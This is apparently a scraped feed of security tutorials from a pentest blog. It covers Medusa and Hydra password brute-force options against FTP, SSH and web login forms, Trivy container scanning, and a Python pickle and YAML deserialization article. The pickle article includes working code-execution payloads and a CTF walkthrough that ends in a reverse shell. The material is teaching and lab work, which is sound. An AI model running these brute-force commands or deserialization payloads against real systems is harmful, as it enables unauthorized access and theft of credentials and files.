medusa -H hosts.txt -U users.txt -P pass.txt -M ftp -T 1
medusa -H hosts.txt -U users.txt -P pass.txt -M ftp -T 2

The first command will brute force on first host only, but the second will attack on 2 hosts concurrently.

To attack a specific port than default

Sometimes, the network admin may change the port number of service to another port due to security reasons. So, when performing a brute force attack using normal command so it will attack on default port. But we can use -n option so that attack will start on a mentioned port rather than the default port.

medusa -h 192.168.1.141 -U users.txt -P pass.txt -M ssh
medusa -h 192.168.1.141 -U users.txt -P pass.txt -M ssh -n 2222

Here, in the first command, we are using -h, -U and -M option and ssh service whose default port is 22. But due to security reasons, its port number is changed to 2222 as detected using the nmap scan and first command did not work. So, to launch the attack we used -n option which will specify the specific port number.

Additional password checks (Null/Same)

Medusa has a great option -e along with ns which will check [n] null password, [s] the same password as username while brute forcing on the password field.

medusa -h 192.168.1.141 -u ignite -P pass.txt -M ftp -e ns

Here, as you can observe, -e option is used in the command so with every username It is trying to match the following combination of password with a username.

User: Ignite     Password: “ “ as null password.

User: Ignite     Password: “Ignite” same as username

To Save Logs in a File

For better readability, record maintenance and future references we can save the output of the brute force attack of the medusa tool in a different text file. For this, we will use parameter -O to save output in text file.

medusa -h 192.168.1.141 -u ignite -P pass.txt -M ftp -O log.txt

Here, again the command is the same we have just added a new parameter -O to store the logs in text file log.txt. Then to ensure whether the output is stored in file, we have opened it using cat command. And the result shows the desired output.

Stop on Success

While using the above command, the attack will go on though we get the correct username and password, this may become tedious when the list of usernames and password is long.

So, to save from this medusa provides some options.

 medusa -H hosts.txt -U users.txt -P pass.txt -M ftp -f
 medusa -H hosts.txt -U users.txt -P pass.txt -M ftp -F

Above in the first command as you can observe -f option is used so that will stop scanning host after first valid username/password found.

And in the second command, -F option is used that will stop audit after first valid username/password found on any host.

 To suppress start-up Banner

Whenever you run medusa, always a start up banner is displayed. But this tool provides an option to remove the banner by using -b option.

medusa -h 192.168.1.141 -U users.txt -P pass.txt -M ftp -b

As in the screenshot displays, after applying -b option, the banner is suppressed.

Verbose Mode

This tool provides an option for verbose mode. There are in all six verbose level. All messages at or below the specified level will be displayed. The default level is 5. The following is the breakdown of the verbose levels:

0)EXIT APPLICATION 1)MESSAGE WITHOUT TAG 2)LOG MESSAGE WITHOUT TAG              3)IMPORTANT MESSAGE 4)ACCOUNT FOUND 5)ACCOUNT 6)CHECK  GENERAL MESSAGE

medusa -H hosts.txt -U users.txt -P pass.txt -M ftp -v
medusa -H hosts.txt -U users.txt -P pass.txt -M ftp -v 6

Here, in the given commands, verbose level 5 and level 6 is used. Level 5 performs account check and level 6 displays general message also.

Error Debug level

This option is used to give detailed description of error. There are 10 error debug level. All messages at or below the specified level will be displayed. The default level is 5.

The following is the breakdown of the error levels:

0: FATAL

1: ALERT

2: CRITICAL                                       

3: ERROR                             

4: WARNING                                     

5: NOTICE

6: INFO                                                

7: DEBUG                                            

8: DEBUG-AUDIT                             

9: DEBUG- SERVER

10: DEBUG – MODULE

medusa -h 192.168.1.141 -U users.txt -P pass.txt -M ftp -w 0
medusa -h 192.168.1.141 -U users.txt -P pass.txt -M ftp -w 06
medusa -h 192.168.1.141 -U users.txt -P pass.txt -M ftp -w 07

Using Combo Entries

Medusa gives an option of using combo entries while brute forcing. The option -C uses a file containing combo entries. Combo files are colon separated and in the following format: host:user:password. If any of the three fields are left empty, the respective information should be provided either as single global value or as a list in a file. You can use following combinations.

host:user:password

host:user:

host::

username:password

username:

password

host::username

medusa -M ftp -C userpass.txt

So here first userpass.txt file is created where data is stored in form of host:username:password. And then medusa brute force attack is performed using -C option. You can take reference from screenshot attached.

Concurrent testing on multiple logins

If you want to perform concurrent testing on multiple logins so for that you use -t option. After that mention the number of logins you want to test concurrently and hence medusa will brute force on respective logins.

medusa -h 192.168.1.141 -U users.txt -P pass.txt -M ftp -t 4

So, while performing the attack it tested concurrently 4 logins at specified port and printed results for all four concurrently.

Display Module Usage Information

You can use a new option -q which will display module’s usage information. This should be used in conjunction with the “-M” option.

medusa -h 192.168.1.141 -U users.txt -P pass.txt -M ftp -q

Author: Divya Adwani is a researcher and technical writer who is very much keen to learn and enthusiastic to learn ethical hacking Contact here

The post A Detailed Guide on Medusa appeared first on Hacking Articles.

A Detailed Guide on Hydra

$
0
0

Hello! Pentesters, this article is about a brute-forcing tool Hydra. Hydra is one of the favourite tools of security researchers and consultants. Being an excellent tool to perform brute force attacks, it provides various other options which can make your attack more intense and easier to gain unauthorised access to the system remotely. In this article, I have discussed each option available in hydra to make brute force attacks in various scenarios.

Table of Contents

  • Introduction to Hydra
  • To guess password for a specific username
  • Brute forcing Username and Password
  • Verbose and Debug Mode
  • NULL/Same as Login or Reverse login Attempt
  • Saving output in disk
  • To Resume Brute Force Attack
  • Password generating using various set of characters
  • To attack on a specific port rather than the default
  • Attacking Multiple Hosts
  • Using Combo Entries
  • Concurrent testing on Multiple Logins
  • HTTP Login Form Brute Force
  • Service module Usage information
  • Attacking on secured service connection
  • Proxy Support

Introduction to Hydra

Hydra – a very fast network logon cracker which supports many different services. It is a parallelized login cracker which supports numerous protocols to attack. New modules are easy to add, besides that, it is flexible and very fast. This tool gives researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from a remote to a system.

Currently this tool supports: adam6500, afp, asterisk, cisco, cisco-enable, cvs, firebird, ftp, ftps, http[s]-{head|get|post}, http[s]-{get|post}-form, http-proxy, http-proxy-urlenum, icq, imap[s], irc, ldap2[s], ldap3[-{cram|digest}md5][s], mssql mysql(v4), mysql5, ncp, nntp, oracle, oracle-listener, oracle-sid, pcanywhere, pcnfs, pop3[s], postgres, rdp, radmin2, redis, rexec, rlogin, rpcap, rsh, rtsp, s7-300, sapr3, sip, smb, smtp[s], smtp-enum, snmp, socks5, ssh, sshkey, svn, teamspeak, telnet[s], vmauthd, vnc, xmpp

For most protocols, SSL is supported (e.g., https-get, ftp-SSL, etc.).  If not, all necessary libraries are found during compile time, your available services will be less.  Type “hydra” to see what is available.

To guess Password for specific username

If you have a correct username but want to login without knowing the password, so you can use a list of passwords and brute force on passwords on the host for ftp service.

hydra -l ignite -P pass.txt 192.168.1.141 ftp

Here -l option is for username -P for password lists and host ip address for ftp service.

For login ignite password 123 made success.

To guess username for specific password

You may have a valid password but no idea what username to use. Assume you have a password for specific ftp login. You can brute force the field with correct username wordlists to find the correct. You can use the -L option to specify user wordlists and the -p option to specify a specific password.

hydra -L users.txt -p 123 192.168.1.141 ftp

Here, our wordlist is users.txt for which -L option is used, and password is 123 and for that   -p option is used over ftp.

Brute forcing Username and Password

Now if you don’t have either of username or password, for that you can use a brute force attack on both the parameters username and password with a wordlist of both and you can use -P and -U parameters for that.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp

Users.txt is wordlist for username and pass.txt is wordlist for password and the attack has displayed valid credentials ignite and 123 for the host.

Verbose and Debug Mode

-V option is used for verbose mode, where it will show the login+pass combination for each attempt. Here, I have two wordlists users.txt and pass.txt so the brute force attack was making combinations of each login+password and verbose mode showed all the attempts.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp -V

Here the users.txt has 5 usernames and pass.txt has 7 passwords so the number of attempts was 5*7= 35 as shown in the screenshot.

Now is the -d option used to enable debug mode. It shows the complete detail of the attack with wait time, conwait, socket, PID, RECV  

hydra -l ignite -P pass.txt 192.168.1.141 ftp -d

-d option enabled debug mode which, as shown displayed complete detail of the attack.

NULL/Same as Login or Reverse login Attempt

Hydra has an option -e which will check 3 more passwords while brute-forcing. [n] for null, [s] for same i.e., as same as the username and [r] for reverse i.e., the reverse of username. As shown in the screenshot, while brute-forcing the password field, it will first check with the null option then the same option and after that reverse. And then the list which I have provided.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp -V -e nsr

I have enabled verbose mode also so that we can get detailed information about the attempts made while brute-forcing.   

Saving output in Disk

This tool gives you an option to save the result into the disk. Basically for record maintenance, better readability and future preferences we can save the output of the brute force attack into a file by using the -o parameter.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp -o result.txt

I tried to use this option and got success using the above command where the output is stored in the result.txt file.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp -o result:json

I have used this option to store result in json file format also, this type is a unique thing provided by hydra.

To Resume Brute Force Attack

It may happen sometimes, that attack gets halted/paused accidentally due to some unexpected behaviour by hydra. So, hydra has solved this problem by including the -R option so that you can resume the attack from that position rather than starting from the beginning.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp
hydra -R

First, I started the attack using the first command, then halted the attack by pressing CTRL + C and then by using the second command I resumed the attack. 

Password generating using various set of characters

To generate passwords using various set of characters, you can use -x option. It is used as -x  min:max:charset  where,

Min: specifies minimum number of characters in a password.

Max: specifies the maximum number of characters in password.

Charset: charset can contain 1 for numbers, a for lowercase and A for uppercase characters. Any other character which is added is put to the list.

Let’s consider as example: 1:2:a1%.

The generated passwords will be of length 1 to 2 and contain lowercase letters, numbers and/or percent signs and dots.

hydra -l ignite -x 1:3:1 ftp://192.168.1.141

So, here minimum length of password is 1 and the max length is 3 which will contain numbers and for password 123 it showed success.

To make you understand better I have used -V mode and it has displayed results in detail.

To attack a specific port rather than default

Network admins sometimes change the default port number of some services for security reasons. In the previous commands hydra was making brute force attack on ftp service by just mentioning the service name rather than port, but as mentioned earlier default port gets changed at this time hydra will help you with the -s option. If the service is on a different default port, define it using the -s option.

nmap -sV 192.168.1.141
hydra -L users.txt -P pass.txt 192.168.1.141 ssh -s 2222

So to perform, first I tried running a nmap scan at the host. And the screenshot shows all open ports where ssh is at the 2222 port. So post that I tried executing the hydra command with -s parameter and port number.

I have brute-forced on ssh service mentioning the port number, 2222.

Here it found valid entries with user ignite and password 123.

Attacking Multiple Hosts

As earlier I performed a brute force attack using password file pass.txt and username file users.txt on a single host i.e., 191.168.1.141. But if there are multiple hosts, for that you can use -M with the help of which brute force is happening at multiple hosts.

hydra -L users.txt -P pass.txt -M hosts.txt ftp

First, I have created a new file hosts.txt which contains all the hosts. Then the result is showing 2 valid hosts, username and password with success.

Now in the above command, I have used the -M option for multiple hosts so, it is very time-consuming to display all the attempts taking place while the attack, for that medusa, has provided -F option such that the attack will exit after the first found login/password pair for any host.

hydra -L users.txt -P pass.txt -M hosts.txt ftp -F

Using Combo Entries

This tool gives you a unique parameter -C for using combo entries. First, you need to create a file which has data in the colon-separated “login:pass” format,  and then you can use -C option mentioning the file name and perform a brute force attack instead of using  -L/-P options separately. In this way, the attack can be faster and gives you desired result in lesser time.

cat userpass.txt
hydra -C userpass.txt 192.168.1.141 ftp

So, I have created a userpass.txt file using cat command and entered details in “login:pass” format. Then I used -C option in the hydra command to start the attack.

Concurrent Testing on Multiple Logins

If you want to test multiple logins concurrently, for that you can use -t option by mentioning the number and hence hydra will brute force concurrently.

hydra -L users.txt -P pass.txt 192.168.1.141 ftp -t 3 -V

As shown in the screenshot, three attempts are made concurrently, three passwords are concurrently checking with user ignite at host 192.168.1.141, as you can observe child changes 0, 1,2 that means it is concurrently making three attempts and printed 3 of them simultaneously.

HTTP Login Form Brute Force

The hydra form can be used to carry out a brute force attack on simple web-based login forms that requires username and password variables either by GET or POST request. For testing I used dvwa (damn vulnerable web application) which has login page. This page uses POST method as I am sending some data.

hydra -l admin -P pass.txt 192.168.1.150 http-post-form “/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed”

Here I have given the username admin and provided file for passwords and used http-post-form module to perform brute force attack on 192.168.1.150 host.

So, for password: password it gave success and bypassed the login page. Now I had performed brute force on username and password field mentioned having security level as “low”. And by using cookie editor plugin I found out the cookie PHPSESSID and used its value in the command.

hydra 192.168.1.150 -l admin -P ‘pass.txt’ http-get-form “/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie:PHPSESSID=13f2650bddf7a9ef68858ceea03c5d; security=low”

I had viewed page source and from that I found out that page uses GET method, and so http-GET-form module as mentioned in above command.

As in the screenshot, the command is successfully executed, and I got the correct username and password.

Service module Usage information

As discussed earlier in the introduction all the supported services by hydra, if you want to check once just type hydra -h and you will get list of services supported by hydra. So, to get the detailed information about the usage hydra provides -U option.

hydra http-get-form -U

Here http-get-form is one of the services supported by hydra and -U option helped to get detailed information.

Attacking on secured service connection

While performing an attack on ftp connection, you just mention the service name along with appropriate options, but if the host has ftp port open and ftp is secured, so if you use

hydra -l ignite -P pass.txt ftp://192.168.1.141

This command will not execute properly and hence 0 valid passwords were found. So in order to perform an attack on a secured ftp connection, then run this command.

hydra -l ignite -P pass.txt ftps://192.168.1.141

And this command worked well and showed 1 valid password found.

This is one way to attack secured ftp, hydra provides one more way to attack secured service.

hydra -l ignite -P pass.txt 192.168.1.141 ftp
hydra -l ignite -P pass.txt 192.168.1.141 ftps

The first did not work as the host 192.168.1.141 has secured ftp, but the second, worked and showed us a valid password found. In this way, you can perform a brute force attacks on hosts which have secured services open.

Proxy Support

Now let’s discuss how hydra attacks on hosts having proxy enabled. I first tried to same command with -l -p parameters on host 192.168.1.141 on ftp service and found that no password was found. Hence, I started an nmap scan for the host and found list of services and ports open. So, at port 1080 a proxy “socks5” was set without any authentication.

Unauthenticated Proxy

Hydra provides two different ways for proxy support. I have tried both the ways. Use screenshots for better understanding. Let’s discuss the first way

Environment Variable

To enable proxy I used this command

export HYDRA_PROXY=socks5://192.168.1.141:1080

And then used the following command and got 1 valid password

hydra -l ignite -P pass.txt 192.168.1.141 ftp

Proxychains

I have opened the /etc/proxychains4.conf and added the proxy details with host and port. And then with the help of proxychains brute force is performed

cat /etc/proxychains4.conf

proxychains hydra -l ignite -P pass.txt 192.168.1.141 ftp

Authenticated Proxy

I got the desired password 123 for the host. In the above attack, there was not any authentication enabled. Now I tried on a proxy that has authentication enabled.

Proxychains

I tried to brute force the target using proxychains but it was denied because authentication was enabled on the proxy.

proxychains hydra -l ignite -p pass.txt 192.168.1.141 ftp

So, I added the username and password in /etc/proxychains4.conf file

cat /etc/proxychains4.conf

Just observe the screenshot for better understanding. Then with the help of proxychains, I started attacking using the below command

proxychains hydra -l ignite -P pass.txt 192.168.1.141 ftp

Hence, after execution of this command, a valid password was found for the host having proxy enabled.    

Environment Variable

export HYDRA_PROXY=socks5://raj:1234@192.168.1.141:1080

Here “raj” is the username, “1234” is password for the proxy and “192.168.1.141” is the host and “1080” is the port on which the proxy is enabled. After that, I used the command

hydra -l ignite -P pass.txt 192.168.1.141 ftp

And for this, it showed a valid password for the host 192.168.1.141 

Note: For setting up the proxy I took reference from https://www.hackingarticles.in/penetration-testing-lab-setup-microsocks/

Author: Divya Adwani is a researcher and technical writer who is very much keen to learn and enthusiastic to learn ethical hacking Contact here

The post A Detailed Guide on Hydra appeared first on Hacking Articles.

Containers Vulnerability Scanner: Trivy

$
0
0

This article talks about Trivy, which is a simple and comprehensive vulnerability scanner for containers and other artifacts, suitable for Continuous Integration and Testing.

Table of Contents

  • Introduction
  • Installation
  • Scanning Git Repository
  • Scanning Container Image
  • Scanning Filesystem
  • Scanning the running Containers
  • Embed Trivy in Dockerfile

Introduction

Trivy is an open-source tool by aqua security to scan for vulnerabilities and misconfiguration errors. This tool works at various levels: it can evaluate Infrastructure as Code, inspect container images, deliver configuration file assistance, analyze Kubernetes implementations, and review the code in a Git repository. With the ease of usage, trivy can be simply be integrated in CI/CD pipeline (DevSecOps) by installing and adding binary to the project. Trivy offers complete visibility across programming language and operating system packages and has a wide database of vulnerabilities which allows quick scans of critical CVEs. With various new advancements in the tool, it has helped pen-testers and cybersecurity researchers to ensure continuous scans making the process of DevSecOps faster and more efficient.

Installation

The installation is quite simple. Follow the below-given commands to install Trivy from the official repository on your ubuntu machine.

sudo apt-get install wget apt-transport-https gnupg lsb-release
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -
echo deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main | sudo tee /etc/apt/sources.list.d/trivy.list

sudo apt-get update
sudo apt-get install trivy

Once the tool has been installed and updated, you are ready to scan files.

Scanning Git Repository

 As I have described above, we can use trivy for scanning security loopholes among multiple platforms.

 If you are using Git Repository and you can scan git file directly without downloading the entire package.

sudo trivy repo https://github.com/appsecco/dvna

Scanning Container Image

With the ever-growing threats to docker security, Trivy is one of the best tools available in the market for scanning Container Images. 

You can easily run a quick scan on the docker images to report any vulnerabilities by following the below-given steps.

Step1: Check the Image ID of the Container image you want to scan.

sudo docker images

Step2: Use the below-given command to scan the container image.

sudo trivy image 4621d4fe2959

You can also scan the images for a particular severity of vulnerabilities and save the report in text format using the below-given command.

sudo trivy image --severity HIGH 4621d4fe2959 > result.txt
tail result.txt

Scanning Filesystem

Trivy can be used to scan a filesystem (such as a host machine, a virtual machine image, or an unpacked container image filesystem).

(Note: We are using vulnerable-node from Filesystem for this practical.)

Use the below-given command to scan any filesystem for vulnerabilities.

trivy conf services/

Scanning the running Containers

You can quickly scan the running container from inside. Follow the below-given steps to scan a docker file.

Step1: Run the docker file that you want to scan.

sudo docker run -it alpine

Step2: Add Trivy scanner to the file and run it.

apk add curl \
&& curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin \    && trivy filesystem --exit-code 1 --no-progress /

Embed Trivy in Dockerfile

You can also scan the image as part of the build process by embedding Trivy in the Dockerfile. This approach can be used to update Dockerfiles currently using Aqua’s Micro scanner. Follow the below-given steps to scan the docker file while building it.

Step1: Add trivy to the docker file.

FROM alpine:3.7
 RUN apk add curl \
    && curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/master/contrib/install.sh | sh -s -- -b /usr/local/bin \
    && trivy filesystem --exit-code 1 --no-progress /

 Step2 : Build the image.

sudo docker build -t vulnerable image .

It will scan the docker file while the image is being built and give the report as shown below.

Thanks for reading the article.

Author: Mukund Mehrotra is a cybersecurity researcher, technical writer and an enthusiastic pen-tester at Hacking Articles. Contact here

The post Containers Vulnerability Scanner: Trivy appeared first on Hacking Articles.

Python Serialization Vulnerabilities – Pickle

$
0
0

Introduction

Serialization gathers data from objects, converts them to a string of bytes, and writes to disk. The data can be deserialized and the original objects can be recreated. Many programming languages offer a way to do this including PHP, Java, Ruby and Python (common backend coding languages in web).

Let’s talk about serialization in Python. In Python, when we can use the pickle  module, the serialization is called “pickling.”

Table of content

  • Serialization in Python
  • Serialization in Web Applications
  • Over Pickling
  • Python YAML vs Python Pickle
  • Mitigation
  • Demonstration
  • Conclusion

Serialization in Python

While using Python, pickle.dumps() is used to serialize some data and pickle.loads() is used to deserialize it (pickling and unpickling). For eg: here is an array, pickled.

python3
>>> import pickle
>>> variable = pickle.dumps([1,2,3])
>>> print(variable)
b'\x80\x04\x95\x0b\x00\x00\x00\x00\x00\x00\x00]\x94(K\x01K\x02K\x03e.'
>>> pickle.loads(variable)
[1, 2, 3]
>>>

As we can see above, when we print the variable, we see a byte string. This is serialization. Later, with pickle.loads(variable) we are deserializing the object.

This is helpful in many cases, including when we want to save some variables from a program on the drive as a binary which can be later used in other programs. For example, let’s create an array and save it as a binary file.

import pickle
variable = pickle.dumps([1,2,3])
with open("myarray.pkl","wb") as f:
f.write(variable)

As we can see, a pickle binary is now stored on the drive. Let’s read it using pickle again.

import pickle
obj = open("myarray.pkl","rb").read()
pickle.loads(obj)

As you can see, we can now operate on this deserialized object (obj) just like an array again! Throughout the SDLC, there may come a time where a developer would want to quit the IDE but wants to save all the data and states of variables at the moment, that is where this is a helpful feature.

Serialization in Web Apps

Okay, so we have talked about serialization in software applications. But what is the use of serialization in web apps? So, the HTTP is a stateless protocol. That is, the state of one request doesn’t depend on the previous request. But sometimes there is a need to maintain state. That’s why we have cookies. Cookies would bring a sense of statefulness in HTTP protocol.

If we want a user’s information and some data to be retained next time they interact with the server, serialization is a wonderful use case. Just serialize some data, put it into a cookie (which is taking up user’s storage and not server’s! WoW) and next request just deserialize it and use it on the site.

Pickle is used in python web apps to do this. But one caveat is that it deserializes unsafely and its content is controlled by the client. Just adding, serialization in json is much safer! Unlike some other serialization formats, JSON doesn’t allow executable code to be embedded within the data. This eliminates the risk of code injection vulnerabilities that can be exploited by malicious actors.

It is possible to construct malicious pickle data which will execute arbitrary code!

Over Pickling

We have talked about pickling well known data types like an array. But what if we were to pickle our own custom classes? Python can easily understand and deserialize well known classes but what will it do with custom classes like connection to servers and all those fancy networking scripts? It doesn’t even make sense to serialize those but Python developers added a way to pickle that too. There is a chance that discrepancies might happen when python tries to deserialize such objects.

Custom pickling and unpickling code can be used. When you define a class you can provide a mechanism that states, ‘here is what you should do when someone asks to unpickle you!’ So when python goes to unpickle this string of bytes, it might have to run some code to figure out how to properly reconstruct that object. This code will be embedded in this pickle file.

Let’s see a small example.

Here is a code for proof of concept. This code is creating a class called EvilPickle. To implement support for pickling on your custom object, you define a method called “__reduce__” which returns a function and pair of arguments to call that function with. Here, a simple “cat /etc/passwd” would be run using os.system function. Finally, this would be written in a binary file called backup.data.

python
import pickle
import os
class EvilPickle(object):
  def __reduce__(self):
    return (os.system, ('cat /etc/passwd', ))
pickle_data = pickle.dumps(EvilPickle())
with open("backup.data", "wb") as file:
  file.write(pickle_data)

The idea here is to make the deserializer run cat /etc/passwd on their system. Let’s try it out now! We save the above code in evilpickle.py file and run it. Just to check, we’ll cat the backup.data file. Here we can clearly see something fishy!

The user deserializes it anyway and ends up giving out /etc/passwd file.

python
import pickle
pickle.loads(open("backup.data","rb").read())

We can get even more nerdy and see what is happening under the hood by disassembling using pickletools. Here, the pickling is done on unix like os (posix) which is stored in a SHORT variable and stored in as 0 and each successive command after that in different numeric values on the stack. The `REDUCE` opcode is used to call a callable (typically a Python function or method, here os.system (represented as posix and system)) with arguments (called TUPLE. here, cat /etc/passwd). And finally, the program is stopped.

The primary difference between tuples and lists is that tuples are immutable as opposed to lists which are mutable. Therefore, it is possible to change a list but not a tuple. The contents of a tuple cannot change once they have been created in Python due to the immutability of tuples.

python3 -m pickletools -a backup.data

note: -a options gives some info about each steps while using pickletools

So since the pickle object is user controlled and it unpickles at server, we can even use this to get remote server shell as well (using sockets and pickling it and finally providing it to the server)

PyTorch ML model up until recent times used pickle for serialization of ML models and was vulnerable to arbitrary code execution. Safetensors overcame this issue.

Python YAML vs Python Pickle

Python YAML is another serialization format instead of pickle. But even Python YAML allows execution of arbitrary code by default. Here is another POC:

import yaml
document = "!!python/object/apply:os.system ['cat /etc/passwd']"
yaml.load(document)

This would also execute cat /etc/passwd. We can avoid this by using “safe_load()” instead of load anyway!

Mitigation

Pickle is just one module in Python. This is a very well known tool and developers use it still but if the developers are a little more mindful, they’ll not ignore the warning shown below on pickle’s documentation page:

Alternatives to pickle and brief POCs on them are as follows:

JSON

import json
# Serialize
data = {"key": "value"}
json_data = json.dumps(data)


# Deserialize
deserialized_data = json.loads(json_data)

msgpack

import msgpack
# Serialize
data = {"key": "value"}
msgpack_data = msgpack.packb(data)


# Deserialize
deserialized_data = msgpack.unpackb(msgpack_data, raw=False)

Some other safe options to use would be: protobuf by google, CBOR.

Demonstration

Okay, so the given website is a note taking website which is using serialization. Here is what happens when I submit a note with a PNG image.

This looks something like this when processed by the server. Observe the URL which is rendering a .pickle file

The challenge also provided us with an app.py source code which tells us all about the background logic. I can’t post the entire code but here are some relevant snippets.

As we can see, the code is accepting title, content and image as an object, pickling it and storing it in title.pickle

Here are the key functions of the code:

  1. Note() class accepts an object new_note with 3 items: title, content, image_filename.
  2. save_note() is calling pickle.dumps() to pickle new_note. save_note() is also called to store an image using image.save which is a flask function. Similarly image.filename extracts image’s filename.
  3. secure_filename() function converts insecure names to secure ones. For example: note 1 becomes note_1, ../../../etc/passwd becomes etc_passwd
  4. unpickle_file is loading the pickled file provided to it and unpickles it.

Here are some key takeaways about the functionality of the code:

  1. Site is accepting 3 key items.
  2. It is not checking if PNG is safe or not (as in if it is a valid PNG or not. This is a good attack point)
  3. All in all, PNG file upload is a really strong contender to put code in because: a, site isn’t validating safety of PNG and b, it will unpickle any file we provide.

I tried with a simple cat /etc/passwd command on my local machine and the evil.png pickled file was deserializing properly!

import pickle
import os
class EvilPickle(object):
  def __reduce__(self):
    return (os.system, ('cat /etc/passwd', ))
pickle_data = pickle.dumps(EvilPickle())
with open("evil.png", "wb") as file:
  file.write(pickle_data)

Let’s take it a step further and use a netcat listener to receive data from deserialized local execution of evil.png and have it give us a shell!

By following the same logic, we could exploit the server. First I create a PNG file and upload it on the server.

The uploaded data becomes a pickle file which gets stored on the server and when it is called, data is visible on the screen (it is unpickled).

Finally we access the uploaded PNG file on the server.

We get a reverse shell on the netcat listener we set up this way!

This is how we root the box! Please note that I hid and altered a few details throughout the CTF section of the article because the CTF is still an ongoing challenge and I couldn’t obtain permission to post a complete solution.

Conclusion

Serialization vulnerabilities are easy to exploit and easy to overlook by developers. One can even achieve arbitrary code execution on machines. As we saw, when deserialization insecurely or by using insecure functions, we put our infrastructure at risk for compromise. Developers should carefully read the documentation page and not ignore warnings. And finally, use languages like json to serialize/deserialize data which can’t be used to contain executable code since it is a data-only language. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right-brain thinker. Contact here

Viewing all 812 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>